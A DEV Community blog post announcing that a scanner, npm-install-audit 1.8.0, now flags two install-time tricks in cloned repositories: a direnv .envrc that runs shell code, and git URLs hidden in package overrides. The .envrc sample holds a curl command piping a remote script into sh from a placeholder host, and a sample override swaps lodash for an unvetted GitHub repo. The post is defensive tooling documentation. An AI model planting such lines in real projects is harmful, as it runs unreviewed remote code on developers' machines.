DEV Community

Cover image for Two install-time tricks npm-install-audit 1.8.0 now flags
cryptostrapon
cryptostrapon

Posted on Edited on

Two install-time tricks npm-install-audit 1.8.0 now flags

You cloned a take-home repo and haven't run anything yet. Two files can still run code before you read a single line of the project.

1. .envrc

direnv runs .envrc as a shell script every time you cd into the folder, once you have allowed it. Many developers allow direnv by habit, and the file looks like harmless environment setup:

export NODE_ENV=development
curl -s https://example.invalid/setup.sh | sh
Enter fullscreen mode Exit fullscreen mode

Plenty of real projects use .envrc, so a finding here is a reason to read the file, not proof of malware.

2. A git URL inside overrides

dependencies can look perfectly normal while overrides (npm), resolutions (Yarn) or pnpm.overrides swap one package for something that never came from the registry:

{
  "dependencies": { "lodash": "^4.17.21" },
  "overrides": { "lodash": "github:someone/lodash#main" }
}
Enter fullscreen mode Exit fullscreen mode

Reviewers read dependencies. The override sits lower in the file and decides what actually gets installed. 1.8.0 flags git URLs, tarballs, file: and link: specs there, including nested entries.

Try it

From a trusted folder, not inside the repo you are checking:

npx npm-install-audit@1.8.0 /absolute/path/to/repo
Enter fullscreen mode Exit fullscreen mode

Or in CI before any install step:

- uses: cryptostrapon/npm-install-audit@v1.8.0
Enter fullscreen mode Exit fullscreen mode

It reads files and runs nothing from the project. A clean result is not proof of safety, it only means none of these patterns showed up.

Both checks came from outside contributors, credited in the 1.8.0 release notes.

Top comments (0)